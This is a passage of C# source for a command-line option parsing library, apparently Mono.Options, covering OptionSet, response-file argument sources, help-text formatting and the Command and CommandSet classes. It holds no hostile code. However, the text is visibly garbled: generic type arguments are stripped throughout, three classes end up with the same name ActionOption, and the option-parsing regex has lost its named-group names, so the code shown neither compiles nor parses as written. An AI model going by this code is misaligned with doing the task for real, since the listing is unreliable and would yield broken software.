public abstract string Description { get; } 616 | public abstract bool GetArguments(string value, out IEnumerable replacement); 617 | 618 | #if !PCL || NETSTANDARD1_3 619 | public static IEnumerable GetArgumentsFromFile(string file) { 620 | return GetArguments(File.OpenText(file), true); 621 | } 622 | #endif 623 | 624 | public static IEnumerable GetArguments(TextReader reader) { 625 | return GetArguments(reader, false); 626 | } 627 | 628 | // Cribbed from mcs/driver.cs:LoadArgs(string) 629 | static IEnumerable GetArguments(TextReader reader, bool close) { 630 | try { 631 | StringBuilder arg = new StringBuilder(); 632 | 633 | string line; 634 | while ((line = reader.ReadLine()) != null) { 635 | int t = line.Length; 636 | 637 | for (int i = 0; i < t; i++) { 638 | char c = line[i]; 639 | 640 | if (c == '"' || c == '\'') { 641 | char end = c; 642 | 643 | for (i++; i < t; i++) { 644 | c = line[i]; 645 | 646 | if (c == end) 647 | break; 648 | arg.Append(c); 649 | } 650 | } else if (c == ' ') { 651 | if (arg.Length > 0) { 652 | yield return arg.ToString(); 653 | arg.Length = 0; 654 | } 655 | } else 656 | arg.Append(c); 657 | } 658 | if (arg.Length > 0) { 659 | yield return arg.ToString(); 660 | arg.Length = 0; 661 | } 662 | } 663 | } finally { 664 | if (close) 665 | reader.Dispose(); 666 | } 667 | } 668 | } 669 | 670 | #if !PCL || NETSTANDARD1_3 671 | internal class ResponseFileSource : ArgumentSource { 672 | 673 | public override string[] GetNames() { 674 | return new string[] { "@file" }; 675 | } 676 | 677 | public override string Description { 678 | get { return "Read response file for more options."; } 679 | } 680 | 681 | public override bool GetArguments(string value, out IEnumerable replacement) { 682 | if (string.IsNullOrEmpty(value) || !value.StartsWith("@")) { 683 | replacement = null; 684 | return false; 685 | } 686 | replacement = ArgumentSource.GetArgumentsFromFile(value.Substring(1)); 687 | return true; 688 | } 689 | } 690 | #endif 691 | 692 | #if !PCL 693 | [Serializable] 694 | #endif 695 | internal class OptionException : Exception { 696 | private string option; 697 | 698 | public OptionException() { 699 | } 700 | 701 | public OptionException(string message, string optionName) 702 | : base(message) { 703 | this.option = optionName; 704 | } 705 | 706 | public OptionException(string message, string optionName, Exception innerException) 707 | : base(message, innerException) { 708 | this.option = optionName; 709 | } 710 | 711 | #if !PCL 712 | protected OptionException(SerializationInfo info, StreamingContext context) 713 | : base(info, context) { 714 | this.option = info.GetString("OptionName"); 715 | } 716 | #endif 717 | 718 | public string OptionName { 719 | get { return this.option; } 720 | } 721 | 722 | #if !PCL 723 | #pragma warning disable 618 // SecurityPermissionAttribute is obsolete 724 | [SecurityPermission(SecurityAction.LinkDemand, SerializationFormatter = true)] 725 | #pragma warning restore 618 726 | public override void GetObjectData(SerializationInfo info, StreamingContext context) { 727 | base.GetObjectData(info, context); 728 | info.AddValue("OptionName", option); 729 | } 730 | #endif 731 | } 732 | 733 | public delegate void OptionAction(TKey key, TValue value); 734 | 735 | public class OptionSet : KeyedCollection { 736 | public OptionSet() 737 | : this(null) { 738 | } 739 | 740 | public OptionSet(MessageLocalizerConverter localizer) { 741 | this.roSources = new ReadOnlyCollection(sources); 742 | this.localizer = localizer; 743 | if (this.localizer == null) { 744 | this.localizer = delegate (string f) { 745 | return f; 746 | }; 747 | } 748 | } 749 | 750 | MessageLocalizerConverter localizer; 751 | 752 | public MessageLocalizerConverter MessageLocalizer { 753 | get { return localizer; } 754 | internal set { localizer = value; } 755 | } 756 | 757 | List sources = new List(); 758 | ReadOnlyCollection roSources; 759 | 760 | public ReadOnlyCollection ArgumentSources { 761 | get { return roSources; } 762 | } 763 | 764 | 765 | protected override string GetKeyForItem(Option item) { 766 | if (item == null) 767 | throw new ArgumentNullException("option"); 768 | if (item.Names != null && item.Names.Length > 0) 769 | return item.Names[0]; 770 | // This should never happen, as it's invalid for Option to be 771 | // constructed w/o any names. 772 | throw new InvalidOperationException("Option has no names!"); 773 | } 774 | 775 | [Obsolete("Use KeyedCollection.this[string]")] 776 | protected Option GetOptionForName(string option) { 777 | if (option == null) 778 | throw new ArgumentNullException("option"); 779 | try { 780 | return base[option]; 781 | } catch (KeyNotFoundException) { 782 | return null; 783 | } 784 | } 785 | 786 | protected override void InsertItem(int index, Option item) { 787 | base.InsertItem(index, item); 788 | AddImpl(item); 789 | } 790 | 791 | protected override void RemoveItem(int index) { 792 | Option p = Items[index]; 793 | base.RemoveItem(index); 794 | // KeyedCollection.RemoveItem() handles the 0th item 795 | for (int i = 1; i < p.Names.Length; ++i) { 796 | Dictionary.Remove(p.Names[i]); 797 | } 798 | } 799 | 800 | protected override void SetItem(int index, Option item) { 801 | base.SetItem(index, item); 802 | AddImpl(item); 803 | } 804 | 805 | private void AddImpl(Option option) { 806 | if (option == null) 807 | throw new ArgumentNullException("option"); 808 | List added = new List(option.Names.Length); 809 | try { 810 | // KeyedCollection.InsertItem/SetItem handle the 0th name. 811 | for (int i = 1; i < option.Names.Length; ++i) { 812 | Dictionary.Add(option.Names[i], option); 813 | added.Add(option.Names[i]); 814 | } 815 | } catch (Exception) { 816 | foreach (string name in added) 817 | Dictionary.Remove(name); 818 | throw; 819 | } 820 | } 821 | 822 | public OptionSet Add(string header) { 823 | if (header == null) 824 | throw new ArgumentNullException("header"); 825 | Add(new Category(header)); 826 | return this; 827 | } 828 | 829 | internal sealed class Category : Option { 830 | 831 | // Prototype starts with '=' because this is an invalid prototype 832 | // (see Option.ParsePrototype(), and thus it'll prevent Category 833 | // instances from being accidentally used as normal options. 834 | public Category(string description) 835 | : base("=:Category:= " + description, description) { 836 | } 837 | 838 | protected override void OnParseComplete(OptionContext c) { 839 | throw new NotSupportedException("Category.OnParseComplete should not be invoked."); 840 | } 841 | } 842 | 843 | 844 | public new OptionSet Add(Option option) { 845 | base.Add(option); 846 | return this; 847 | } 848 | 849 | sealed class ActionOption : Option { 850 | Action action; 851 | 852 | public ActionOption(string prototype, string description, int count, Action action) 853 | : this(prototype, description, count, action, false) { 854 | } 855 | 856 | public ActionOption(string prototype, string description, int count, Action action, bool hidden) 857 | : base(prototype, description, count, hidden) { 858 | if (action == null) 859 | throw new ArgumentNullException("action"); 860 | this.action = action; 861 | } 862 | 863 | protected override void OnParseComplete(OptionContext c) { 864 | action(c.OptionValues); 865 | } 866 | } 867 | 868 | public OptionSet Add(string prototype, Action action) { 869 | return Add(prototype, null, action); 870 | } 871 | 872 | public OptionSet Add(string prototype, string description, Action action) { 873 | return Add(prototype, description, action, false); 874 | } 875 | 876 | public OptionSet Add(string prototype, string description, Action action, bool hidden) { 877 | if (action == null) 878 | throw new ArgumentNullException("action"); 879 | Option p = new ActionOption(prototype, description, 1, 880 | delegate (OptionValueCollection v) { action(v[0]); }, hidden); 881 | base.Add(p); 882 | return this; 883 | } 884 | 885 | public OptionSet Add(string prototype, OptionAction action) { 886 | return Add(prototype, null, action); 887 | } 888 | 889 | public OptionSet Add(string prototype, string description, OptionAction action) { 890 | return Add(prototype, description, action, false); 891 | } 892 | 893 | public OptionSet Add(string prototype, string description, OptionAction action, bool hidden) { 894 | if (action == null) 895 | throw new ArgumentNullException("action"); 896 | Option p = new ActionOption(prototype, description, 2, 897 | delegate (OptionValueCollection v) { action(v[0], v[1]); }, hidden); 898 | base.Add(p); 899 | return this; 900 | } 901 | 902 | sealed class ActionOption : Option { 903 | Action action; 904 | 905 | public ActionOption(string prototype, string description, Action action) 906 | : base(prototype, description, 1) { 907 | if (action == null) 908 | throw new ArgumentNullException("action"); 909 | this.action = action; 910 | } 911 | 912 | protected override void OnParseComplete(OptionContext c) { 913 | action(Parse(c.OptionValues[0], c)); 914 | } 915 | } 916 | 917 | sealed class ActionOption : Option { 918 | OptionAction action; 919 | 920 | public ActionOption(string prototype, string description, OptionAction action) 921 | : base(prototype, description, 2) { 922 | if (action == null) 923 | throw new ArgumentNullException("action"); 924 | this.action = action; 925 | } 926 | 927 | protected override void OnParseComplete(OptionContext c) { 928 | action( 929 | Parse(c.OptionValues[0], c), 930 | Parse(c.OptionValues[1], c)); 931 | } 932 | } 933 | 934 | public OptionSet Add(string prototype, Action action) { 935 | return Add(prototype, null, action); 936 | } 937 | 938 | public OptionSet Add(string prototype, string description, Action action) { 939 | return Add(new ActionOption(prototype, description, action)); 940 | } 941 | 942 | public OptionSet Add(string prototype, OptionAction action) { 943 | return Add(prototype, null, action); 944 | } 945 | 946 | public OptionSet Add(string prototype, string description, OptionAction action) { 947 | return Add(new ActionOption(prototype, description, action)); 948 | } 949 | 950 | public OptionSet Add(ArgumentSource source) { 951 | if (source == null) 952 | throw new ArgumentNullException("source"); 953 | sources.Add(source); 954 | return this; 955 | } 956 | 957 | protected virtual OptionContext CreateOptionContext() { 958 | return new OptionContext(this); 959 | } 960 | 961 | public List Parse(IEnumerable arguments) { 962 | if (arguments == null) 963 | throw new ArgumentNullException("arguments"); 964 | OptionContext c = CreateOptionContext(); 965 | c.OptionIndex = -1; 966 | bool process = true; 967 | List unprocessed = new List(); 968 | Option def = Contains("<>") ? this["<>"] : null; 969 | ArgumentEnumerator ae = new ArgumentEnumerator(arguments); 970 | foreach (string argument in ae) { 971 | ++c.OptionIndex; 972 | if (argument == "--") { 973 | process = false; 974 | continue; 975 | } 976 | if (!process) { 977 | Unprocessed(unprocessed, def, c, argument); 978 | continue; 979 | } 980 | if (AddSource(ae, argument)) 981 | continue; 982 | if (!Parse(argument, c)) 983 | Unprocessed(unprocessed, def, c, argument); 984 | } 985 | if (c.Option != null) 986 | c.Option.Invoke(c); 987 | return unprocessed; 988 | } 989 | 990 | class ArgumentEnumerator : IEnumerable { 991 | List> sources = new List>(); 992 | 993 | public ArgumentEnumerator(IEnumerable arguments) { 994 | sources.Add(arguments.GetEnumerator()); 995 | } 996 | 997 | public void Add(IEnumerable arguments) { 998 | sources.Add(arguments.GetEnumerator()); 999 | } 1000 | 1001 | public IEnumerator GetEnumerator() { 1002 | do { 1003 | IEnumerator c = sources[sources.Count - 1]; 1004 | if (c.MoveNext()) 1005 | yield return c.Current; 1006 | else { 1007 | c.Dispose(); 1008 | sources.RemoveAt(sources.Count - 1); 1009 | } 1010 | } while (sources.Count > 0); 1011 | } 1012 | 1013 | IEnumerator IEnumerable.GetEnumerator() { 1014 | return GetEnumerator(); 1015 | } 1016 | } 1017 | 1018 | bool AddSource(ArgumentEnumerator ae, string argument) { 1019 | foreach (ArgumentSource source in sources) { 1020 | IEnumerable replacement; 1021 | if (!source.GetArguments(argument, out replacement)) 1022 | continue; 1023 | ae.Add(replacement); 1024 | return true; 1025 | } 1026 | return false; 1027 | } 1028 | 1029 | private static bool Unprocessed(ICollection extra, Option def, OptionContext c, string argument) { 1030 | if (def == null) { 1031 | extra.Add(argument); 1032 | return false; 1033 | } 1034 | c.OptionValues.Add(argument); 1035 | c.Option = def; 1036 | c.Option.Invoke(c); 1037 | return false; 1038 | } 1039 | 1040 | private readonly Regex ValueOption = new Regex( 1041 | @"^(?--|-|/)(?[^:=]+)((?[:=])(?.*))?$"); 1042 | 1043 | protected bool GetOptionParts(string argument, out string flag, out string name, out string sep, out string value) { 1044 | if (argument == null) 1045 | throw new ArgumentNullException("argument"); 1046 | 1047 | flag = name = sep = value = null; 1048 | Match m = ValueOption.Match(argument); 1049 | if (!m.Success) { 1050 | return false; 1051 | } 1052 | flag = m.Groups["flag"].Value; 1053 | name = m.Groups["name"].Value; 1054 | if (m.Groups["sep"].Success && m.Groups["value"].Success) { 1055 | sep = m.Groups["sep"].Value; 1056 | value = m.Groups["value"].Value; 1057 | } 1058 | return true; 1059 | } 1060 | 1061 | protected virtual bool Parse(string argument, OptionContext c) { 1062 | if (c.Option != null) { 1063 | ParseValue(argument, c); 1064 | return true; 1065 | } 1066 | 1067 | string f, n, s, v; 1068 | if (!GetOptionParts(argument, out f, out n, out s, out v)) 1069 | return false; 1070 | 1071 | Option p; 1072 | if (Contains(n)) { 1073 | p = this[n]; 1074 | c.OptionName = f + n; 1075 | c.Option = p; 1076 | switch (p.OptionValueType) { 1077 | case OptionValueType.None: 1078 | c.OptionValues.Add(n); 1079 | c.Option.Invoke(c); 1080 | break; 1081 | case OptionValueType.Optional: 1082 | case OptionValueType.Required: 1083 | ParseValue(v, c); 1084 | break; 1085 | } 1086 | return true; 1087 | } 1088 | // no match; is it a bool option? 1089 | if (ParseBool(argument, n, c)) 1090 | return true; 1091 | // is it a bundled option? 1092 | if (ParseBundledValue(f, string.Concat(n + s + v), c)) 1093 | return true; 1094 | 1095 | return false; 1096 | } 1097 | 1098 | private void ParseValue(string option, OptionContext c) { 1099 | if (option != null) 1100 | foreach (string o in c.Option.ValueSeparators != null 1101 | ? option.Split(c.Option.ValueSeparators, c.Option.MaxValueCount - c.OptionValues.Count, StringSplitOptions.None) 1102 | : new string[] { option }) { 1103 | c.OptionValues.Add(o); 1104 | } 1105 | if (c.OptionValues.Count == c.Option.MaxValueCount || 1106 | c.Option.OptionValueType == OptionValueType.Optional) 1107 | c.Option.Invoke(c); 1108 | else if (c.OptionValues.Count > c.Option.MaxValueCount) { 1109 | throw new OptionException(localizer(string.Format( 1110 | "Error: Found {0} option values when expecting {1}.", 1111 | c.OptionValues.Count, c.Option.MaxValueCount)), 1112 | c.OptionName); 1113 | } 1114 | } 1115 | 1116 | private bool ParseBool(string option, string n, OptionContext c) { 1117 | Option p; 1118 | string rn; 1119 | if (n.Length >= 1 && (n[n.Length - 1] == '+' || n[n.Length - 1] == '-') && 1120 | Contains((rn = n.Substring(0, n.Length - 1)))) { 1121 | p = this[rn]; 1122 | string v = n[n.Length - 1] == '+' ? option : null; 1123 | c.OptionName = option; 1124 | c.Option = p; 1125 | c.OptionValues.Add(v); 1126 | p.Invoke(c); 1127 | return true; 1128 | } 1129 | return false; 1130 | } 1131 | 1132 | private bool ParseBundledValue(string f, string n, OptionContext c) { 1133 | if (f != "-") 1134 | return false; 1135 | for (int i = 0; i < n.Length; ++i) { 1136 | Option p; 1137 | string opt = f + n[i].ToString(); 1138 | string rn = n[i].ToString(); 1139 | if (!Contains(rn)) { 1140 | if (i == 0) 1141 | return false; 1142 | throw new OptionException(string.Format(localizer( 1143 | "Cannot use unregistered option '{0}' in bundle '{1}'."), rn, f + n), null); 1144 | } 1145 | p = this[rn]; 1146 | switch (p.OptionValueType) { 1147 | case OptionValueType.None: 1148 | Invoke(c, opt, n, p); 1149 | break; 1150 | case OptionValueType.Optional: 1151 | case OptionValueType.Required: { 1152 | string v = n.Substring(i + 1); 1153 | c.Option = p; 1154 | c.OptionName = opt; 1155 | ParseValue(v.Length != 0 ? v : null, c); 1156 | return true; 1157 | } 1158 | default: 1159 | throw new InvalidOperationException("Unknown OptionValueType: " + p.OptionValueType); 1160 | } 1161 | } 1162 | return true; 1163 | } 1164 | 1165 | private static void Invoke(OptionContext c, string name, string value, Option option) { 1166 | c.OptionName = name; 1167 | c.Option = option; 1168 | c.OptionValues.Add(value); 1169 | option.Invoke(c); 1170 | } 1171 | 1172 | private const int OptionWidth = 29; 1173 | private const int Description_FirstWidth = 80 - OptionWidth; 1174 | private const int Description_RemWidth = 80 - OptionWidth - 2; 1175 | 1176 | static readonly string CommandHelpIndentStart = new string(' ', OptionWidth); 1177 | static readonly string CommandHelpIndentRemaining = new string(' ', OptionWidth + 2); 1178 | 1179 | public void WriteOptionDescriptions(TextWriter o) { 1180 | foreach (Option p in this) { 1181 | int written = 0; 1182 | 1183 | if (p.Hidden) 1184 | continue; 1185 | 1186 | Category c = p as Category; 1187 | if (c != null) { 1188 | WriteDescription(o, p.Description, "", 80, 80); 1189 | continue; 1190 | } 1191 | CommandOption co = p as CommandOption; 1192 | if (co != null) { 1193 | WriteCommandDescription(o, co.Command, co.CommandName); 1194 | continue; 1195 | } 1196 | 1197 | if (!WriteOptionPrototype(o, p, ref written)) 1198 | continue; 1199 | 1200 | if (written < OptionWidth) 1201 | o.Write(new string(' ', OptionWidth - written)); 1202 | else { 1203 | o.WriteLine(); 1204 | o.Write(new string(' ', OptionWidth)); 1205 | } 1206 | 1207 | WriteDescription(o, p.Description, new string(' ', OptionWidth + 2), 1208 | Description_FirstWidth, Description_RemWidth); 1209 | } 1210 | 1211 | foreach (ArgumentSource s in sources) { 1212 | string[] names = s.GetNames(); 1213 | if (names == null || names.Length == 0) 1214 | continue; 1215 | 1216 | int written = 0; 1217 | 1218 | Write(o, ref written, " "); 1219 | Write(o, ref written, names[0]); 1220 | for (int i = 1; i < names.Length; ++i) { 1221 | Write(o, ref written, ", "); 1222 | Write(o, ref written, names[i]); 1223 | } 1224 | 1225 | if (written < OptionWidth) 1226 | o.Write(new string(' ', OptionWidth - written)); 1227 | else { 1228 | o.WriteLine(); 1229 | o.Write(new string(' ', OptionWidth)); 1230 | } 1231 | 1232 | WriteDescription(o, s.Description, new string(' ', OptionWidth + 2), 1233 | Description_FirstWidth, Description_RemWidth); 1234 | } 1235 | } 1236 | 1237 | internal void WriteCommandDescription(TextWriter o, Command c, string commandName) { 1238 | var name = new string(' ', 8) + (commandName ?? c.Name); 1239 | if (name.Length < OptionWidth - 1) { 1240 | WriteDescription(o, name + new string(' ', OptionWidth - name.Length) + c.Help, CommandHelpIndentRemaining, 80, Description_RemWidth); 1241 | } else { 1242 | WriteDescription(o, name, "", 80, 80); 1243 | WriteDescription(o, CommandHelpIndentStart + c.Help, CommandHelpIndentRemaining, 80, Description_RemWidth); 1244 | } 1245 | } 1246 | 1247 | void WriteDescription(TextWriter o, string value, string prefix, int firstWidth, int remWidth) { 1248 | bool indent = false; 1249 | foreach (string line in GetLines(localizer(GetDescription(value)), firstWidth, remWidth)) { 1250 | if (indent) 1251 | o.Write(prefix); 1252 | o.WriteLine(line); 1253 | indent = true; 1254 | } 1255 | } 1256 | 1257 | bool WriteOptionPrototype(TextWriter o, Option p, ref int written) { 1258 | string[] names = p.Names; 1259 | 1260 | int i = GetNextOptionIndex(names, 0); 1261 | if (i == names.Length) 1262 | return false; 1263 | 1264 | if (names[i].Length == 1) { 1265 | Write(o, ref written, " -"); 1266 | Write(o, ref written, names[0]); 1267 | } else { 1268 | Write(o, ref written, " --"); 1269 | Write(o, ref written, names[0]); 1270 | } 1271 | 1272 | for (i = GetNextOptionIndex(names, i + 1); 1273 | i < names.Length; i = GetNextOptionIndex(names, i + 1)) { 1274 | Write(o, ref written, ", "); 1275 | Write(o, ref written, names[i].Length == 1 ? "-" : "--"); 1276 | Write(o, ref written, names[i]); 1277 | } 1278 | 1279 | if (p.OptionValueType == OptionValueType.Optional || 1280 | p.OptionValueType == OptionValueType.Required) { 1281 | if (p.OptionValueType == OptionValueType.Optional) { 1282 | Write(o, ref written, localizer("[")); 1283 | } 1284 | Write(o, ref written, localizer("=" + GetArgumentName(0, p.MaxValueCount, p.Description))); 1285 | string sep = p.ValueSeparators != null && p.ValueSeparators.Length > 0 1286 | ? p.ValueSeparators[0] 1287 | : " "; 1288 | for (int c = 1; c < p.MaxValueCount; ++c) { 1289 | Write(o, ref written, localizer(sep + GetArgumentName(c, p.MaxValueCount, p.Description))); 1290 | } 1291 | if (p.OptionValueType == OptionValueType.Optional) { 1292 | Write(o, ref written, localizer("]")); 1293 | } 1294 | } 1295 | return true; 1296 | } 1297 | 1298 | static int GetNextOptionIndex(string[] names, int i) { 1299 | while (i < names.Length && names[i] == "<>") { 1300 | ++i; 1301 | } 1302 | return i; 1303 | } 1304 | 1305 | static void Write(TextWriter o, ref int n, string s) { 1306 | n += s.Length; 1307 | o.Write(s); 1308 | } 1309 | 1310 | static string GetArgumentName(int index, int maxIndex, string description) { 1311 | var matches = Regex.Matches(description ?? "", @"(?<=(? 1 1320 | if (maxIndex > 1 && parts.Length == 2 && 1321 | parts[0] == index.ToString(CultureInfo.InvariantCulture)) { 1322 | argName = parts[1]; 1323 | } 1324 | } 1325 | 1326 | if (string.IsNullOrEmpty(argName)) { 1327 | argName = maxIndex == 1 ? "VALUE" : "VALUE" + (index + 1); 1328 | } 1329 | return argName; 1330 | } 1331 | 1332 | private static string GetDescription(string description) { 1333 | if (description == null) 1334 | return string.Empty; 1335 | StringBuilder sb = new StringBuilder(description.Length); 1336 | int start = -1; 1337 | for (int i = 0; i < description.Length; ++i) { 1338 | switch (description[i]) { 1339 | case '{': 1340 | if (i == start) { 1341 | sb.Append('{'); 1342 | start = -1; 1343 | } else if (start < 0) 1344 | start = i + 1; 1345 | break; 1346 | case '}': 1347 | if (start < 0) { 1348 | if ((i + 1) == description.Length || description[i + 1] != '}') 1349 | throw new InvalidOperationException("Invalid option description: " + description); 1350 | ++i; 1351 | sb.Append("}"); 1352 | } else { 1353 | sb.Append(description.Substring(start, i - start)); 1354 | start = -1; 1355 | } 1356 | break; 1357 | case ':': 1358 | if (start < 0) 1359 | goto default; 1360 | start = i + 1; 1361 | break; 1362 | default: 1363 | if (start < 0) 1364 | sb.Append(description[i]); 1365 | break; 1366 | } 1367 | } 1368 | return sb.ToString(); 1369 | } 1370 | 1371 | private static IEnumerable GetLines(string description, int firstWidth, int remWidth) { 1372 | return StringCoda.WrappedLines(description, firstWidth, remWidth); 1373 | } 1374 | } 1375 | 1376 | internal class Command { 1377 | public string Name { get; } 1378 | public string Help { get; } 1379 | 1380 | public OptionSet Options { get; set; } 1381 | public Action> Run { get; set; } 1382 | 1383 | public CommandSet CommandSet { get; internal set; } 1384 | 1385 | public Command(string name, string help = null) { 1386 | if (string.IsNullOrEmpty(name)) 1387 | throw new ArgumentNullException(nameof(name)); 1388 | 1389 | Name = NormalizeCommandName(name); 1390 | Help = help; 1391 | } 1392 | 1393 | static string NormalizeCommandName(string name) { 1394 | var value = new StringBuilder(name.Length); 1395 | var space = false; 1396 | for (int i = 0; i < name.Length; ++i) { 1397 | if (!char.IsWhiteSpace(name, i)) { 1398 | space = false; 1399 | value.Append(name[i]); 1400 | } else if (!space) { 1401 | space = true; 1402 | value.Append(' '); 1403 | } 1404 | } 1405 | return value.ToString(); 1406 | } 1407 | 1408 | public virtual int Invoke(IEnumerable arguments) { 1409 | var rest = Options?.Parse(arguments) ?? arguments; 1410 | Run?.Invoke(rest); 1411 | return 0; 1412 | } 1413 | } 1414 | 1415 | class CommandOption : Option { 1416 | public Command Command { get; } 1417 | public string CommandName { get; } 1418 | 1419 | // Prototype starts with '=' because this is an invalid prototype 1420 | // (see Option.ParsePrototype(), and thus it'll prevent Category 1421 | // instances from being accidentally used as normal options. 1422 | public CommandOption(Command command, string commandName = null, bool hidden = false) 1423 | : base("=:Command:= " + (commandName ?? command?.Name), (commandName ?? command?.Name), maxValueCount: 0, hidden: hidden) { 1424 | if (command == null) 1425 | throw new ArgumentNullException(nameof(command)); 1426 | Command = command; 1427 | CommandName = commandName ?? command.Name; 1428 | } 1429 | 1430 | protected override void OnParseComplete(OptionContext c) { 1431 | throw new NotSupportedException("CommandOption.OnParseComplete should not be invoked."); 1432 | } 1433 | } 1434 | 1435 | class HelpOption : Option { 1436 | Option option; 1437 | CommandSet commands; 1438 | 1439 | public HelpOption(CommandSet commands, Option d) 1440 | : base(d.Prototype, d.Description, d.MaxValueCount, d.Hidden) { 1441 | this.commands = commands; 1442 | this.option = d; 1443 | } 1444 | 1445 | protected override void OnParseComplete(OptionContext c) { 1446 | commands.showHelp = true; 1447 | 1448 | option?.InvokeOnParseComplete(c); 1449 | } 1450 | } 1451 | 1452 | class CommandOptionSet : OptionSet { 1453 | CommandSet commands; 1454 | 1455 | public CommandOptionSet(CommandSet commands, MessageLocalizerConverter localizer) 1456 | : base(localizer) { 1457 | this.commands = commands; 1458 | } 1459 | 1460 | protected override void SetItem(int index, Option item) { 1461 | if (ShouldWrapOption(item)) { 1462 | base.SetItem(index, new HelpOption(commands, item)); 1463 | return; 1464 | } 1465 | base.SetItem(index, item); 1466 | } 1467 | 1468 | bool ShouldWrapOption(Option item) { 1469 | if (item == null) 1470 | return false; 1471 | var help = item as HelpOption; 1472 | if (help != null) 1473 | return false; 1474 | foreach (var n in item.Names) { 1475 | if (n == "help") 1476 | return true; 1477 | } 1478 | return false; 1479 | } 1480 | 1481 | protected override void InsertItem(int index, Option item) { 1482 | if (ShouldWrapOption(item)) { 1483 | base.InsertItem(index, new HelpOption(commands, item)); 1484 | return; 1485 | } 1486 | base.InsertItem(index, item); 1487 | } 1488 | } 1489 | 1490 | internal class CommandSet : KeyedCollection { 1491 | readonly string suite; 1492 | 1493 | OptionSet options; 1494 | TextWriter outWriter; 1495 | TextWriter errorWriter; 1496 | 1497 | internal List NestedCommandSets; 1498 | 1499 | internal HelpCommand help; 1500 | 1501 | internal bool showHelp; 1502 | 1503 | internal OptionSet Options => options; 1504 | 1505 | #if !PCL || NETSTANDARD1_3 1506 | public CommandSet(string suite, MessageLocalizerConverter localizer = null) 1507 | : this(suite, Console.Out, Console.Error, localizer) { 1508 | } 1509 | #endif 1510 | 1511 | public CommandSet(string suite, TextWriter output, TextWriter error, MessageLocalizerConverter localizer = null) { 1512 | if (suite == null) 1513 | throw new ArgumentNullException(nameof(suite)); 1514 | if (output == null) 1515 | throw new ArgumentNullException(nameof(output)); 1516 | if (error == null) 1517 | throw new ArgumentNullException(nameof(error)); 1518 | 1519 | this.suite = suite; 1520 | options = new CommandOptionSet(this, localizer); 1521 | outWriter = output; 1522 | errorWriter = error; 1523 | } 1524 | 1525 | public string Suite => suite; 1526 | public TextWriter Out => outWriter; 1527 | public TextWriter Error => errorWriter; 1528 | public MessageLocalizerConverter MessageLocalizer => options.MessageLocalizer; 1529 | 1530 | protected override string GetKeyForItem(Command item) { 1531 | return item?.Name; 1532 | } 1533 | 1534 | public new CommandSet Add(Command value) { 1535 | if (value == null) 1536 | throw new ArgumentNullException(nameof(value)); 1537 | AddCommand(value); 1538 | options.Add(new CommandOption(value)); 1539 | return this; 1540 | } 1541 | 1542 | void AddCommand(Command value) { 1543 | if (value.CommandSet != null && value.CommandSet != this) { 1544 | throw new ArgumentException("Command instances can only be added to a single CommandSet.", nameof(value)); 1545 | } 1546 | value.CommandSet = this; 1547 | if (value.Options != null) { 1548 | value.Options.MessageLocalizer = options.MessageLocalizer; 1549 | } 1550 | 1551 | base.Add(value); 1552 | 1553 | help = help ?? value as HelpCommand; 1554 | } 1555 | 1556 | public CommandSet Add(string header) { 1557 | options.Add(header); 1558 | return this; 1559 | } 1560 | 1561 | public CommandSet Add(Option option) { 1562 | options.Add(option); 1563 | return this; 1564 | } 1565 | 1566 | public CommandSet Add(string prototype, Action action) { 1567 | options.Add(prototype, action); 1568 | return this; 1569 | } 1570 | 1571 | public CommandSet Add(string prototype, string description, Action action) { 1572 | options.Add(prototype, description, action); 1573 | return this; 1574 | } 1575 | 1576 | public CommandSet Add(string prototype, string description, Action action, bool hidden) { 1577 | options.Add(prototype, description, action, hidden); 1578 | return this; 1579 | } 1580 | 1581 | public CommandSet Add(string prototype, OptionAction action) { 1582 | options.Add(prototype, action); 1583 | return this; 1584 | } 1585 | 1586 | public CommandSet Add(string prototype, string description, OptionAction action) { 1587 | options.Add(prototype, description, action); 1588 | return this; 1589 | } 1590 | 1591 | public CommandSet Add(string prototype, string description, OptionAction action, bool hidden) { 1592 | options.Add(prototype, description, action, hidden); 1593 | return this; 1594 | } 1595 | 1596 | public CommandSet Add(string prototype, Action action) { 1597 | options.Add(prototype, null, action); 1598 | return this; 1599 | } 1600 | 1601 | public CommandSet Add(string prototype, string description, Action action) { 1602 | options.Add(prototype, description, action); 1603 | return this; 1604 | } 1605 | 1606 | public CommandSet Add(string prototype, OptionAction action) { 1607 | options.Add(prototype, action); 1608 | return this; 1609 | } 1610 | 1611 | public CommandSet Add(string prototype, string description, OptionAction action) { 1612 | options.Add(prototype, description, action); 1613 | return this; 1614 | } 1615 | 1616 | public CommandSet Add(ArgumentSource source) { 1617 | options.Add(source); 1618 | return this; 1619 | } 1620 | 1621 | public CommandSet Add(CommandSet nestedCommands) { 1622 | if (nestedCommands == null) 1623 | throw new ArgumentNullException(nameof(nestedCommands)); 1624 | 1625 | if (NestedCommandSets == null) { 1626 | NestedCommandSets = new List(); 1627 | } 1628 | 1629 | if (!AlreadyAdded(nestedCommands)) { 1630 | NestedCommandSets.Add(nestedCommands); 1631 | foreach (var o in nestedCommands.options) { 1632 | if (o is CommandOption c) { 1633 | options.Add(new CommandOption(c.Command, $"{nestedCommands.Suite} {c.CommandName}")); 1634 | } else { 1635 | options.Add(o); 1636 | } 1637 | } 1638 | } 1639 | 1640 | nestedCommands.options = this.options; 1641 | nestedCommands.outWriter = this.outWriter; 1642 | nestedCommands.errorWriter = this.errorWriter; 1643 | 1644 | return this; 1645 | } 1646 | 1647 | bool AlreadyAdded(CommandSet value) { 1648 | if (value == this) 1649 | return true; 1650 | if (NestedCommandSets == null) 1651 | return false; 1652 | foreach (var nc in NestedCommandSets) { 1653 | if (nc.AlreadyAdded(value)) 1654 | return true; 1655 | } 1656 | return false; 1657 | } 1658 | 1659 | public IEnumerable GetCompletions(string prefix = null) { 1660 | string rest; 1661 | ExtractToken(ref prefix, out rest); 1662 | 1663 | foreach (var command in this) { 1664 | if (command.Name.StartsWith(prefix, StringComparison.OrdinalIgnoreCase)) { 1665 | yield return command.Name; 1666 | } 1667 | } 1668 | 1669 | if (NestedCommandSets == null) 1670 | yield break; 1671 | 1672 | foreach (var subset in NestedCommandSets) { 1673 | if (subset.Suite.StartsWith(prefix, StringComparison.OrdinalIgnoreCase)) { 1674 | foreach (var c in subset.GetCompletions(rest)) { 1675 | yield return $"{subset.Suite} {c}"; 1676 | } 1677 | } 1678 | } 1679 | } 1680 | 1681 | static void ExtractToken(ref string input, out string rest) { 1682 | rest = ""; 1683 | input = input ?? ""; 1684 | 1685 | int top = input.Length; 1686 | for (int i = 0; i < top; i++) { 1687 | if (char.IsWhiteSpace(input[i])) 1688 | continue; 1689 | 1690 | for (int j = i; j < top; j++) { 1691 | if (char.IsWhiteSpace(input[j])) { 